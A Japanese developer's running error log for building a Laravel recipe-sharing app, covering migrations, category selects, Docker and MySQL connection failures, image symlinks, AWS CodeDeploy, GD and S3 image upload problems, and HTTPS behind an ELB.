Open31

SPOILYエラーメモ

さいれずさいれず

テーブル作成の際にマイグレーションを実行しようとすると下記のエラーが発生。

 Illuminate\Database\QueryException  : SQLSTATE[42S01]: Base table or view already exists: 1050 Table 'recipes' already exists 以下略

どうやら既にテーブルが作られているからそのマイグレーション は通せないぞ!っていうエラーらしい。
ロールバックなどをしても解決できそうだったが、DBに大した情報も入っていなかったので、テーブルを丸ごと捨てて新しく作り直すことにした。下記のコマンドを実行すると無事にマイグレーション が通った

php artisan migrate:fresh

dockerで開発している場合は

docker-compose exec app php artisan migrate:fresh

問題がなければ下記の表示が出る。

Dropped all tables successfully.
Migration table created successfully.
Migrating: 2014_10_12_000000_create_users_table
Migrated:  2014_10_12_000000_create_users_table (0.09 seconds)
Migrating: 2014_10_12_100000_create_password_resets_table
Migrated:  2014_10_12_100000_create_password_resets_table (0.04 seconds)
Migrating: 2019_08_19_000000_create_failed_jobs_table
Migrated:  2019_08_19_000000_create_failed_jobs_table (0.02 seconds)
Migrating: 2021_09_19_094126_create_recipes_table
Migrated:  2021_09_19_094126_create_recipes_table (0.11 seconds)
Migrating: 2021_09_20_113027_create_likes_table
Migrated:  2021_09_20_113027_create_likes_table (0.15 seconds)

参考
https://qiita.com/pugiemonn/items/d3e2efe6dac4e6a760f7

さいれずさいれず

9/30 カテゴリの編集自体はできるようになったが、投稿時に選択していたカテゴリの表示ができない問題がある。
沼ってるので一旦他のタスクをやります。

$recipeが持っているrecipe_idかcategory_idを使ってカテゴリーのidと一致したらそのカテゴリを表示させる
if、三項演算子、NULL合算子(createとeditで共通化するため)を使う想定
想定なんだが、$recipeにそもそもcategory_idが存在していないっぽい。
新規投稿の際にはcategory_idをrequest内部にcategory_idが内包されているので、 requestからcategory_idを取り出して、$recipeにattachすることで追加していたが、編集だと送られてきていない段階なので、取得できない。
とりあえずカテゴリをattachした後に->save();するようにしてみた。これでできるかやってみる!!
→ダメでした・・・

10/2
無事に投稿編集時に投稿時に選択していたカテゴリーを表示させることに成功した!!
これにてカテゴリ機能完成です!やったああああああ!!

さいれずさいれず

カテゴリ機能全体の記事は後でまとめる。取り急ぎ編集時の時にやったことをメモ

コントローラーのメソッドごとにカテゴリーの一覧を取得するメソッドを書くと見辛くなるのでモデルの一覧を取得するメソッドを作成

https://nodoame.net/archives/11656

Category.php
  // カテゴリーの一覧を取得するメソッド
  public function getCategories()
  {
      $categories = Category::orderBy('id','asc')->pluck('name', 'id');
      // $categories = Category::orderBy('id', 'asc')->get('name', 'id');
      return $categories;
  }

1.変数categoryを宣言し、getCategories();でカテゴリー一覧を変数categoriesに代入し、Viewで@foreachで回して取得する。
2. 編集時に投稿時に選択したカテゴリを表示させる際にcategory_idが必要になるが、recipeには存在していないため、recipeに内包されているrecipe_idを使って中間テーブルを介してcategoriesテーブルを検索をかけ、一致した値を$old_category_idに代入している。

https://teratail.com/questions/74443

https://zakkuri.life/【laravel】中間テーブルを使ってみる-応用編/#i-2

https://qiita.com/Eryushidate/items/27b4a699c00d06e04744

php
  public function edit(Recipe $recipe)
  {
      $category = new Category;
      $categories = $category->getCategories();

      $old_category_id = Recipe::find($recipe->id)->categories()->where('recipe_id', '=', $recipe->id)->first();
 }

print_r($old_category_id->id); で取得した値がcategory_idであることを確認している。
old_category_idで取得したデータの中からcategory_idを取得し、idに入っている値を照らし合わせたカテゴリ名を表示させている。

form.blade.php
<div class="form-group col-sm-6">
  <label for="category_id">カテゴリ</label>
  <select class="form-control" name="category_id" >
    
    @foreach ($categories as $id => $name)
    <!-- 変数$recipeがある時に入る -->
      @if(isset($recipe))
          <option value="{{ $id }}" {{ old('category', $old_category_id->id ?? '') == $id ? 'selected' : ''}}>
              {{ $name }}
          </option>
      @else
          <option value="{{ $id }}" >
            {{ $name }}
          </option>
      @endif
    @endforeach
  </select>
</div>
さいれずさいれず

直書きせずにセレクトボックスのデータを作る

カテゴリは今後カテゴリの数やサブカテゴリを追加するかもしれないので、中間テーブルを用いたが、今後大きな変更はなさそうなセレクトボックスがあったので、それを実装した時のメモを残す。

レシピ投稿の際に何人前かを選択するセレクトボックスをつくりたいという思いがあった。
しかし、これのためのテーブルを作るのは阿呆らしいと考え、どうにかDBを作らずにできる方法はないか?と調べた結果、下記の記事を参考に実装した。

https://qiita.com/syokichi09/items/131430c53666823cc79f
https://qiita.com/masakichi_eng/items/b9948f7d14de793dc014

方法としては、configフォルダ直下にserving.phpファイルを作成し、そこに表示させたいデータの配列を作り、コントローラーでそのファイルにアクセスし、データを受け取り、ビューに表示すると言った形になる。

src/config/serving.php
<?php 
return array(
  '1' => '1人前',
  '2' => '2人前',
  '3' => '3人前',
  '4' => '4人前',
  '5' => '5人前',
  '6' => '6人前',
  '7' => '7人前',
  '8' => '8人前',
  '9' => '9人前',
  '10' => '10人前',
);
?>

src/config/serving.phpで作成したデータをRecipeController.phpで変数にデータを代入し、使いたいViewに変数を返し、Viewで使えるようにする。

RecipeController.php
  public function create()
  {
     // serving.phpファイルのデータを$servingsに代入
      $servings = config('serving');

      return view('recipes.create', [
          'servings' => $servings,
      ]);

  }

RecipeController.phpから受け取った$servingsを@foreach分で回し、データを表示させる。
新規投稿と編集のページを共通化しているので、新規投稿と編集で表示を分けるようにしている。

$recipe->serving ?? '' でNULLにも対応する。
== $serving ? 'selected' : '' で選択している値に対応?
ここら辺り理解が微妙

resources/views/recipes/form.blade.php

<div class="form-group">
  <select class="form-control" name="serving">
    @foreach ($servings as $serving => $serving_name)
      <option value="{{ $serving }}" {{ old('serving_name', $recipe->serving ?? '') == $serving ? 'selected' : ''}}>
          {{ $serving_name }}
      </option>
    @endforeach
  </select>
</div>

さいれずさいれず

画像表示させるためのシンボリックについて

普通にphp artisan storage:linkを実行すると「storage -> /var/www/html/storage/app/public」というシンボリックが貼られる。
これだと、画像ファイルが参照できずに画像が表示されなかった。
わいのディレクトリ構造が「/storage/app/public/images」となっていたので、それに対応するように下記コマンドでシンボリックを変更した。
`root@5ef04887923f:/var/www/html/public# ln -nfs
/var/www/html/storage/app/public/images storage
ls -laで権限情報を確認すると
storage -> /var/www/html/storage/app/public/images
と行った感じに変更になっており、ブラウザをリロードしてみると無事に画像が表示された!やったぜ!

参考:
https://nogson2.hatenablog.com/entry/2020/04/15/001105

さいれずさいれず

レシピ編集時の画像変更で詰まったところ

レシピ編集時の画像変更がようやく実装できた!!!
新規投稿時の画像はUploadedFileクラスを経由してるっぽかったのに編集だと文字列としてリクエストに投げられてきててなんでじゃ〜〜って思ってたら、edit.bladeファイルに「enctype="multipart/form-data"」をつけ忘れてたからだった!!だからstoreAsとかでNullとかon Strongってエラーが出てきてたのか〜〜〜!

まじでしょうもなさすぎるミスで3日くらい潰したのでこっから一気に巻き返していきたい。

面接行く前にここに残してたメモをもとに何記事かZennで書いて、Qiitaにもあげたいな。

さいれずさいれず

エラーではないけど検索機能で役立った記事をここにまとめておく。

中間テーブルを用いたカテゴリの検索はこの記事がめっちゃ参考になった。というかほとんど構成が同じだったので、対していじらずにそのまま使えてしまったので、どこかで仕組みを理解する必要あり。
https://zakkuri.life/【laravel】中間テーブルを使ってみる-応用編/#i-3

https://blog.popweb.dev/programming/laravel/【laravel】中間テーブルのカラムに対して検索をかけ/

https://qiita.com/antk/items/ccb07a6609d4456a4049

さいれずさいれず

Githubで指定のcommitまで戻り、強制pushする

1. 戻りたいcommitのハッシュ値を調べる

git log

commit ******************************ハッシュ値

2. 特定のcommitまで戻る

git reset --hard ハッシュ値

3.戻した結果をリモートにPush

git push -f origin ハッシュ値:main
さいれずさいれず

10/30 さなぬいを取るためにタイクレやろうと思ったらPCがバカ重かったので、再起動したら
SQLSTATE[HY000] [1159] Got timeout reading communication packets (SQL: select * from userswhereid = 1 limit 1)
っていうエラーが出るようになってアプリが開けなくなった。切断方法がおかしかったせいで接続がうまく行かなくなったっぽいんだけど、再接続の方法とかが一切出てこない。権限は確認してないので、そこらへんになるのかな?
10/31
php artisan migrate:freshを実行して、DBを再作成しようとしたら

MacBook-Pro:spoily skmbp$ docker-compose exec app php artisan migrate:fresh

   Illuminate\Database\QueryException  : SQLSTATE[HY000] [1159] Got timeout reading communication packets (SQL: SHOW FULL TABLES WHERE table_type = 'BASE TABLE')

  at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:669
    665|         // If an exception occurs when attempting to run a query, we'll format the error
    666|         // message to include the bindings with SQL, which will make this exception a
    667|         // lot more helpful to the developer instead of just the database's errors.
    668|         catch (Exception $e) {
  > 669|             throw new QueryException(
    670|                 $query, $this->prepareBindings($bindings), $e
    671|             );
    672|         }
    673| 

  Exception trace:

  1   Doctrine\DBAL\Driver\PDO\Exception::("SQLSTATE[HY000] [1159] Got timeout reading communication packets")
      /var/www/html/vendor/doctrine/dbal/lib/Doctrine/DBAL/Driver/PDO/Exception.php:18

  2   Doctrine\DBAL\Driver\PDO\Exception::new(Object(PDOException))
      /var/www/html/vendor/doctrine/dbal/lib/Doctrine/DBAL/Driver/PDOConnection.php:44

  Please use the argument -v to see more details.

というエラーが出てきた。出たわね。Got timeout reading communication packets!!

ほならGitHubにcommitしているいくつか前に戻ってみるか…ってことで上のスクラップの手順で1つ前のコミットの内容を適用してみたけど変わらず…原因探るしかないか…

Dockerで作ってるので、Dockerのイメージ等を全て削除してみる

https://qiita.com/suin/items/19d65e191b96a0079417
https://ktmry.hatenablog.com/entry/2017/08/18/000000

SQLSTATE[HY000] [2002] Connection refused 

今までと違うエラーが出てきたぞ!!?

どうやらDBと接続だできないぞ!ってエラーらしい。

解決した!!!!

原因としてはdoccker-conmpose.ymlの記述ミスっぽい

services:
  app:
    # ビルドするDockerfileの指定
    build:
      context: .
      dockerfile: ./docker/php/Dockerfile
    volumes:
      - ./src/:/var/www/html
    # 環境変数を設定(.envに紐づく)
    environment:
      - DB_CONNECTION=mysql
      - DB_HOST=db
      - DB_PORT=3306
   #ここがDB_USERになってた臭い…
      - DB_DATABASE=${DB_NAME}
      - DB_USERNAME=${DB_USERNAME}
      - DB_PASSWORD=${DB_PASSWORD}

でもこれはあれこれしているうちに行った結果だと思うので、本質的解決にはなっていない…
なにはともあれ、Dockerを起動したままPCは再起動しないように気をつけようってこと!!!!まじで!!

色々いじっているうちに恐らくDockerを起動しながらPCを再起動したせいでDockerで定義したVolumesで永続化していたMySQLのデータが残っているせいで上記のエラーが出たのでは?と思い、

volumeの確認
docker volume ls
使用されていないvolumesの削除
docker volume prune

上記のコマンドを実行してからマイグレーションをやり直したら結果的に解決したけど、あんま関係ないかも。まぁ永続化関連のトラブルが今後ないとも限らないのでね。一応メモ

https://oki2a24.com/2018/08/02/docker-volumes-remain-forever/

さいれずさいれず

PW変更機能で発生した問題について

ユーザーのマイページで「PWを変更する」というリンクからアクセスしてPWを変更する機能を追加して、ログアウトして実際に変更できているかを確認して問題なかったのでGithubにcommitした。

次にプロフィール画像を変更する処理を行った結果、現在のPWを編集できなくなった。

問題点

  • ログアウト後にログインしようとするとログイン情報が記録されていないと出る
  • PW変更画面で現在のPWを入力をするとあっているはずなのに現在のPWが間違っていると出てくる

暗号化したPWを復元できていない可能性がある?

一旦PW機能を実装したcommitまで戻って、原因を探ってみる。

遡った結果

実装した時点から現在まで戻った結果、アイコン画像などのプロフィール情報に更新を一度でもかけると現時点でのPWを取得できなくなり、現在のPWが違うというエラーが出てしまう。

feat:自己紹介文をユーザー編集画面で更新できるようにしたというcommitまで遡り、ユーザー名と自己紹介を編集してからPWを変更したところ無事に変更できたのでアイコン画像編集で問題がある臭い。

アイコン編集時にいじった箇所を抜き出してみた。
src/app/Http/Controllers/UserController.php
src/app/Http/Requests/UserRequest.php
src/app/User.php
src/resources/views/users/edit.blade.php
src/resources/views/users/user.blade.php

https://waterfalls.hatenablog.com/entry/2019/09/25/235848

https://qiita.com/crosawassant/items/04242c8d7a12346dcc20#ルーティングの設定

さいれずさいれず

レシピ更新時の問題発生

レシピ更新時に画像の指定を強制されるの辛すぎる。
新規作成と編集でバリデーションを分ける方法がないか調べる。

Viewで登録されている画像が送れないか調べてみたけどわからん。

さいれずさいれず

画像のシンボリックが貼られなくなった問題

前にも似たようなことに遭遇してた。雑だけどいいヒントになってる。過去のわいえらい!!
https://zenn.dev/link/comments/ade73f6ee10619

前回の解決した参考記事
https://nogson2.hatenablog.com/entry/2020/04/15/001105

解決した!!

m問題コード
<img src="{{ asset("storage/$recipe->image_path") }}"  width="1000" height="300">

というコードを書いていて、シンボリックも正しく貼られているはずなのに表示されない…前は表示できたのに…と悩んでいた。

以下のように修正したら表示されるようになった!!

解決コード
<img src="storage/images/{{$recipe->image_path}}"  width="1000" height="300">

アイコン編集機能を追加してから問題が発生したので、ユーザーのアイコンを保存するフォルダを作ったことでどちらを参照していいのかわからなくなってしまったことが問題だったと思われる。

さいれずさいれず

アイコンの画像が表示されない問題とアイコンのアップデートがうまくいっていない問題を解決する

アイコンの画像を更新して保存するとprofile_imageに何かしらが入っていることは確認できた。
一時ファイルが入ってるっぽい。

新規のユーザーはデフォルトのアイコン時の時はprofile_imageがNULLの状態なので、Viewで表示させる時に

 @if($user->profile_image !== NULL )

で画像が入ってるかどうかで表示を分ける処理を行った。Nullの場合はデフォルトのアイコンを表示させるようにさせていた。更新後はデフォルトのアイコンは表示されなくはなっていたので、更新自体はされているようだが、既存の画像を削除する処理時に画像が見つからずによくわからない処理を行っている可能性がある。

デフォルトの画像を保存するようにすれば、いい説あるか?

途中からデフォルトアイコンを設定さす方法いまいちわかんね〜〜とりあえずPHPMyAdominで無理くりデフォルト画像設定して表示させるようにしたけど更新したら表示されんくなってなした〜〜?って思ってたらデフォルトように用意してた画像が上書きされてて草。

デフォルト画像は無しにして、ViewでProfile_imageがNullの場合は表示させるようにした方がええかもしれん。

updateメソッドでもまずはifでProfile_imageがNULLかを判定して、Nullだった場合はフォームから遅れてきた画像をインサートする処理を行うようにして、NULLじゃなかったら画像のファイルパスを取得して、対応するファイルを削除してから新しく追加っていう処理を行う必要があるなこれ…

解決した!!!
レシピ投稿時のコードを流用すればいけると思ってたけどなかなか行けなかった。
原因としては定義した変数がうまく使えてなかったのが原因。

https://qiita.com/u-dai/items/8a904cc7fd2795c0e70d

さいれずさいれず

Code Deployでデプロイの自動化時に発生するエラーの解消についてのメモ

1/30 とりあえずはデプロイできたが、ALBとかをつけるときに最初からやり直す可能性があるのでメモしておく。

circleCIでのテストは成功し、AWSのCode Deployが実行されAfterInstallのイベントがこけしまうエラーが発生していた。詳しいエラーの内容は下記。

LifecycleEvent - AfterInstall
Script - ./src/scripts/after_install.sh
[stderr]+ cd /home/webapp/laravel-ci/src
[stderr]+ php artisan db:seed
[stdout]**************************************
[stdout]* Application In Production! *
[stdout]**************************************
[stdout]
[stdout] Do you really wish to run this command? (yes/no) [no]:
[stdout] > Command Canceled!
[stderr]+ php artisan migrate --force
[stdout]
[stdout]In Connection.php line 669:
[stdout]
[stdout] SQLSTATE[HY000] [2002] Connection refused (SQL: select * from information_s
[stdout] chema.tables where table_schema = forge and table_name = migrations and tab
[stdout] le_type = 'BASE TABLE')
[stdout]
[stdout]
[stdout]In Exception.php line 18:
[stdout]
[stdout] SQLSTATE[HY000] [2002] Connection refused
[stdout]
[stdout]
[stdout]In PDOConnection.php line 40:
[stdout]
[stdout] SQLSTATE[HY000] [2002] Connection refused
[stdout]
[stdout]

調べていくとSQLに接続できないというエラーということはわかった。.envファイルの内容も間違ってないし、RDSやEC2の設定なども間違っていなはずなのになんでじゃ〜!って思っていたが、.envファイルの置く場所が間違っていた。

/home/webapp/laravel-ciディレクトリに.envファイルが存在しており、php artisan migrate --forceを実行した際に.envファイルが参照できずにDB関連情報が取得できずにエラーが発生していた見たい。

/home/webapp/laravel-ciディレクトリから/home/webapp/laravel-ci/srcディレクトリに.envファイルを移動させ、デプロイできるか試したところ無事にデプロイされていたことが確認できた!!

学び

php artisan migrate --forceを/home/webapp/laravel-ciで実行するとartisanがないって怒られたりしたので、ディレクトリ構造などをしっかり把握しながらファイルやコマンドを置く必要がある。

appspec.ymlを/home/webapp/laravel-ci/srcディレクトリに設置するappspec.ymlが見つけれない問題はようわからん。

さいれずさいれず

AWS EC2でLaravelを動かせるようになったが、一部のページで404 Not Foundが出てきてしまう

  • Nginxの設定が問題かと思って、調べたが教材通りで問題は見当たらなかった。
  • less laravel-ci/src/storage/logs/laravel.logを見てみると
    production.ERROR: GD Library extension not available with this PHP installation
    というエラーが出てきた。GDライブラリがないからエラーが出てるよってことらしい。

下記の記事を参考にGDをインストール
GDインストール参考

インストール自体は問題なくできたけど、EC2にインストールされているPHPのバージョンと同一のものじゃないせいかNginxを再起動しても404 Not Foundが表示されてしまう

Nginxの設定のせいか?って思ってしまうが、
ユーザー情報の更新、ログイン、新規登録は問題なくできてるからGDが問題なんだと思わ。
GDが入ってないと画像周りが使えないからエラーが出るってことで多分ユーザーアイコンを修正してもエラーが出ると思われる。なので、Nginxの設定はエラーの原因ではないと仮定して調査を進めていく! 1/25 3:38

エラーログ
less laravel-ci/src/storage/logs/laravel.log

[2022-01-26 18:22:16] production.ERROR: GD Library extension not available with this PHP installation. {"userId":1,"exception":"[object] (Intervention\\Image\\Exception\\NotSupportedException(code: 0): GD Library extension not available with this PHP installation. at /home/webapp/laravel-ci/src/vendor/intervention/image/src/Intervention/Image/Gd/Driver.php:19) [stacktrace]

下記の記事を参考にintervention/imageとGDをインストールしたが、404 Not Foundが出てしまう
EC2にintervention/imageをインストール
おそらくintervention/imageの実装時に参考した記事

2/8 なぜか投稿周りのGD問題が解決した…
前からGDはインストールできていたのに有効化されておらず、投稿後に404が発生していたけど、気がついたら治ってた…こわ…

次の問題はこちら

[2022-02-08 08:21:45] production.ERROR: View [recipes.searchresult] not found. {"userId":1,"exception":"[object] (InvalidArgumentException(code: 0): View [recipes.searchresult] not found. at /home/webapp/laravel-ci/src/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php:137) [stacktrace]

検索結果のViewがみつからんエラーらしいことはわかった。
InvalidArgumentException(code: 0)あたりに何かヒントがアリそう

さいれずさいれず

PCが固まってしまってなくなく再起動した際に下記のエラーが出た際の解決方法

PC再起動後にDockerを再度buildしたところ下記のエラーが発生。

docker-compose up --build

Building db
[+] Building 0.1s (1/2)                                                                                     
 => ERROR [internal] load build definition from Dockerfile                                             0.0s
 => => transferring dockerfile: 79B                                                                    0.0s
------
 > [internal] load build definition from Dockerfile:
------
failed to solve with frontend dockerfile.v0: failed to read dockerfile: error from sender: resolve : lstat /Users/skmbp/spoily/docker/mysql: no such file or directory
ERROR: Service 'db' failed to build : Build failed

エラー文で検索をかけてみたところ下記の記事が出てきた。
https://qiita.com/gbf_abe/items/2bf45206c515cea75d9b

どうやらDockerfileを置くディレクトリが違っているのが問題ってことらしいってのがわかったけど、ディレクトリに問題なさげだし、なんでやろ…ってなってたけど、次の記事で解決した。

https://teratail.com/questions/292726

どうやらdockerfileをDockerfileにリネームすればいいという回答がついていた。
ここでもしかしてDockerの環境が落ちてなく、まだ存在しているのでは?と思い、下記のコマンドを実行

docker-compose up

無事にDockerが起動した。よかった。

さいれずさいれず

本番環境のS3に画像をアップロードするとエラーが発生する

本番環境で画像を投稿すると下記のエラーが発生

production.ERROR: Command (HashName) is not available for driver (Gd). {"userId":1,"exception":"[object] (Intervention\\Image\\Exception\\NotSupportedException(code: 0): Command (HashName) is not available for driver (Gd). at /home/webapp/laravel-c
i/src/vendor/intervention/image/src/Intervention/Image/AbstractDriver.php:123)

GDが使えないよ!みたいなエラーが出ているな…と思い、もしかしてリサイズ等を行なった画像を保存することはできないのでは?と思い調べてみると下記の記事にヒット

https://qiita.com/fakefurcoronet/items/fe2861ca2846b7347418

記事を参考に処理を実装すると上記のエラーは出なくなったが新しくエラーが発生した。

 production.ERROR: Can't write image data to path (/home/webapp/laravel-ci/src/storage/public/images/237541141_620d1eec9f200.jpg) {"userId":1,"exception":"[object] (Intervention\\Image\\Exception\\NotWritableException(code: 0): Can't write image data to path (/home/webapp/laravel-ci/src/storage/public/images/237541141_620d1eec9f200.jpg) at /home/webapp/laravel-ci/src/vendor/intervention/image/src/Intervention/Image/Image.php:150)

画像データをパスに書き込むことができないというエラーが発生してるらしい。

バイナリに変えたりする必要があるっぽい?
https://cpoint-lab.co.jp/article/201910/12063/

$tmpPath = storage_path('public/images/') . $fileNameToStore;を
$tmpPath = storage_path('app/public/images/') . $fileNameToStore;に変更してみる

画像投稿してもエラーは吐かなくなった。でも画像は表示されない。

S3を確認してみたけど画像がない…

さいれずさいれず
  • AWS Chatbotのlaravel_ci_deployチャネルの削除
  • SNSのlaravel-ciトピックの削除
  • IAMユーザーlaravel-ci-deployerの削除
  • IAMユーザーの作成

S3はEC2が設置されているネットワーク(VPC)の外側にあるサービス。
エンドポイントと呼ばれるコンポネートをVPCにアタッチし、S3との通信ができるように設定する必要がある。

S3との通信はインターネットゲートウェイ経由でも可能だが、その場合はトラフィックがインターネットに出てしまい、通信料がかかってしまう。
VPCエンドポイントを使えば、AWSのサービス内でセキュアにトラフィックを流すことができ、通信量の節約になるらしい。

アクセスキーとシークレットキーを使った手法はセキュリティ上あんまり良くないらしい。

この記事が参考になりそう
https://qiita.com/tashi_kyn/items/76a621e6567a51bd78ab

AWS S3と連携する方法は2つあるらしい
https://atuweb.net/201610_laravel-cooperation-aws-s3/

さいれずさいれず

リサイズした画像投稿時に発生する404の調査

次のコマンドを実行して、エラーログを調査
sudo nano /var/log/nginx/error.log

結果

2022/03/04 17:02:16 [error] 23467#0: *23069 open() "/home/webapp/laravel-ci/src/public/50x.html" failed (2: No such file or directory), client: 175.134.244.77, server: _, request: "POST /recipes HTTP/1.1", upstream: "fastcgi://unix:/ru$

open() "/home/webapp/laravel-ci/src/public/50x.html" failed

(2: No such file or directory)

client: 175.134.244.77, server: _, request: "POST /recipes HTTP/1.1", upstream: "fastcgi://unix:/ru$

production.ERROR: Command (HashName) is not available for driver (Gd). {"userId":1,"exception":"[object] (Intervention\Image\Exception\NotSupportedException(code: 0): Command (HashName) is not available for driver (Gd). at /home/webapp/laravel-c
i/src/vendor/intervention/image/src/Intervention/Image/AbstractDriver.php:123)

上記エラーは画像ファイルを直接S3にあげようと

解決した。下記でいける。

Storage::disk('s3')->put('public/images/'. $filename_to_store, $resized_image);

これだとだめ

Storage::disk('s3')->put('public/images/'. $filename_to_store, $resized_image, 'public');
さいれずさいれず

画像の表示ができないモンダイ

エラーは出ないけど表示されない

<img src="(config('filesystems.s3.url')/public/images/{{ $recipe->image_path }}" >

下のようにするとエラーは出ないが表示されない。

<img src="{{ Storage::disk('s3')->url("/public/images/{$recipe->image_path}") }}">

表示自体はされいていないが、画像があるってことはわかるので画像を開くを選択すると

This XML file does not appear to have any style information associated with it. The document tree is shown below.
<Error>
<script/>
<Code>AccessDenied</Code>
<Message>Access Denied</Message>
<RequestId>5H021E68SGC27T7Q</RequestId>
<HostId>M1yfBVumlM802ob+Ne77Zn3yvmUg1HluN7KjYrGHPI61Z8qERT1jqfTMSYSBDjVYxGXn9FNjdRU=</HostId>
</Error>

というエラーが発生する。S3のポリシーに外部からのアクセスが許可されてない説がある。
そこらへんを調査する。

3.11 画像アップロード周りの調査メモ

AWS S3とDBには正しく名前で画像は保存されているのが確認できた。

Storage::disk('s3')->url(ファイルパス)
保存したファイルの絶対バスが取得できる

Storage::disk('s3')->get(ファイルパス);
画像データを取得

urlでやろうとしてたけど、S3に保存されているのは画像パスでなくて、画像自体が保存されているので、参照しても画像が出てこなかった?
やってみる!

ダメだった!!!もうわからん。なんやこれバカが!!

こっちでダメだったら下のに戻す。
<img src="{{ Storage::disk('s3')->url("public/images/{$recipe->image_path}") }}">

はい、というわけでね。下記に戻していきたいと思います。バイトから帰ったらしまうs。

こっちはエラーは出ないけど画像が表示されない。
<img src="{{ Storage::disk('s3')->url("/public/images/{$recipe->image_path}") }}">
戻した。
下のコードだとアップロードできない…'public'をつけるとダメになる。ようわからん。

  $path = Storage::disk('s3')->putFile('public/images/', $resized_image, 'public');
   $form['image_path'] = Storage::disk('s3')->url($path);

明日から月曜日に絶対終わらせるぞ!!
・AWS S3への理解が足りてない。クラスメソッドのS3の記事で理解を深める。
https://dev.classmethod.jp/articles/s3-block-public-access/

・本番環境のファイルディレクトリも関係あるのか調査

・publicディレクトリの権限をもとに戻す

下記コマンドで
d rwx r-x r-x に戻る
chmod 755 laravel-ci/src/storage/app/public
chmod [設定するパーミッション] [ファイル or ディレクトリ]

d ディレクトリ
r 読み取り権限
w 書き込み権限
x 実行権限

d rwx r-x r-xの場合の権限の状況は
所有者 読み取り、書き込み、実行権限の全て
グループ 読み込みと実行が可能
その他 読み込みと実行が可能

<img src="{{ Storage::disk('s3')->url("public/images/$recipe->image_path") }}" >

[2022-03-14 21:53:12] production.ERROR: Error executing "PutObject" on "//laravel-ci-myprefix./public/images/1597439639_622fb9476111e.jpg"; AWS HTTP error: cURL error 6: Could not resolve host: laravel-ci-myprefix. (see https://curl.haxx.se/libcurl/c/libcurl-errors.html
) for http://laravel-ci-myprefix./public/images/1597439639_622fb9476111e.jpg {"userId":1,"exception":"[object] (Aws\\S3\\Exception\\S3Exception(code: 0): Error executing \"PutObject\" on \"//laravel-ci-myprefix./public/images/1597439639_622fb9476111e.jpg\"; AWS HTTP err
or: cURL error 6: Could not resolve host: laravel-ci-myprefix. (see https://curl.haxx.se/libcurl/c/libcurl-errors.html) for http://laravel-ci-myprefix./public/images/1597439639_622fb9476111e.jpg at /home/webapp/laravel-ci/src/vendor/aws/aws-sdk-php/src/WrappedHttpHandle
r.php:195)
[stacktrace]

Storage::disk('s3')->putFile('public/images/'. $filename_to_store, $resized_image); に変更したら下記のエラーが

[2022-03-14 22:04:21] production.ERROR: Command (HashName) is not available for driver (Gd). {"userId":1,"exception":"[object] (Intervention\\Image\\Exception\\NotSupportedException(code: 0): Command (HashName) is not available for driver (Gd). at /home/webapp/laravel-ci/src/vendor/intervention/image/src/Intervention/Image/AbstractDriver.php:123)

レシピ一覧ページでデフォルトアイコンは表示できるが、更新した画像は投稿できない問題。

画像のURL(失敗編)

https://s3-ap-northeast-1.amazonaws.com/laravel-ci-myprefix/%7B%22id%22:1,%22name%22:%22/u30b2/u30b9/u30c8/u30e6/u30fc/u30b6/u30fc%22,%22email%22:%22guestuser@test.com%22,%22email_verified_at%22:null,%22profile_image%22:%22public//icons//1987447826_62344fa595a42.png%22,%22self_introduction%22:%22/u3053/u3093/u306b/u3061/u306f%22,%22created_at%22:%222022-01-25%2015:51:49%22,%22updated_at%22:%222022-03-18%2009:23:50%22%7D-%3Eprofile_image

失敗したコードは以下。

Usercontroller.php to update
// image_pathにファイル名と取得した拡張子を合体した物を代入する。保存する時に使う$user_form['profile_image'] = 'public/icons/' . $icon_file_name;
// S3のpublic/icons/ディレクトリにオリジナルのファイル名でリサイズした画像をアップロード
Storage::disk('s3')->put('public/icons/'. $icon_file_name, $resized_image);
index_card.blade.php
@if($recipe->user->profile_image !== NULL)
   <img src="{{ Storage::disk('s3')->url("$recipe->user->profile_image") }}" class="rounded-circle" style="object-fit: cover; width: 50px; height: 50px;">
@else
   <img src="{{ Storage::disk('s3')->url("default_icon.png") }}" class="rounded-circle" style="object-fit: cover; width: 50px; height: 50px;">
@endif

url("$recipe->user->profile_image")の部分でDBから望んだ結果を取得することができなかった。
ユーザーの情報がURLにそのまま組み込まれてしまうようわからんことになってしまっていた。
Showなどのユーザーが指定できるところなら回避できたけど、indexではそれが難しく下記の方法で対応した。

Usercontroller.php to update
// S3のpublic/icons/ディレクトリにオリジナルのファイル名でリサイズした画像をアップロード
$path = Storage::disk('s3')->putFile('public/icons', $file);
// image_pathにS3にアップロードしたパスを保存
$user_form['profile_image'] = Storage::disk('s3')->url($path);

DBにS3ディレクトリのパスをそのまま保存することで、ViewからDBにアクセスしてファイルパスを取得できるようにした。

index_card.blade.php
@if($recipe->user->profile_image !== NULL)
   <img src="{{ $recipe->user->profile_image }}" class="rounded-circle" style="object-fit: cover; width: 50px; height: 50px;">
@else
   <img src="{{ Storage::disk('s3')->url("default_icon.png") }}" class="rounded-circle" style="object-fit: cover; width: 50px; height: 50px;">
@endif

上記のようにViewを修正したところ無事にアイコンが表示された!!!
S3への画像アップロード編完!!!!次は検索編!!!

さいれずさいれず

本番環境で検索をすると404が出る

[2022-03-14 17:35:17] production.ERROR: View [recipes.searchresult] not found. 
{"userId":1,"exception":"[object] (InvalidArgumentException(code: 0): View [recipes.searchresult] not found. at /home/webapp/laravel-ci/src/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php:137)
[stacktrace]

わかんね〜…

画像周りを本番環境用にしたら治った。

さいれずさいれず

Vue-toastedを使ってフラッシュメッセージをかっこ良くする。

現状のフラッシュメッセージ

return redirect()->route('recipes.index')->with('flash_message', 'レシピの投稿が完了しました');

コントローラーから指定のページにリダイレクトする際に変数flash_messageにメッセージを格納し、Viewで受け取って表示している。

つまりViewで受け取っている処理をVueですればいいのでは?

さいれずさいれず

Vueで投稿成功時などのフラッシュメッセージをトーストで表示させたい。

1、投稿成功時にWithなどを使ってメッセージを表示していたのを空文字で表示させる
2、空文字でもフラッシュメッセージは存在しているので条件分岐で使えるようになるので、条件分岐先でToastMessageの内容を表示

さいれずさいれず

AWS ELBを使ってのHTTPS化に成功したが、「Mixed Content: The page at '' 」というエラーが発生してしまう問題

LaravelでEC2とELBで環境構築を行い、ELBを介して?HTTPS化をした際に下記のエラーが出ることがある。

Laravelの公式ドキュメントにに書いてある通りに全プロシキを信用する処理を記述すれば解消される。

全プロキシを信用

AWSのELB(ALB)を使ってLaravelのアプリをリリースしたとき「Mixed Content: The page at ‘‘ …」

さいれずさいれず

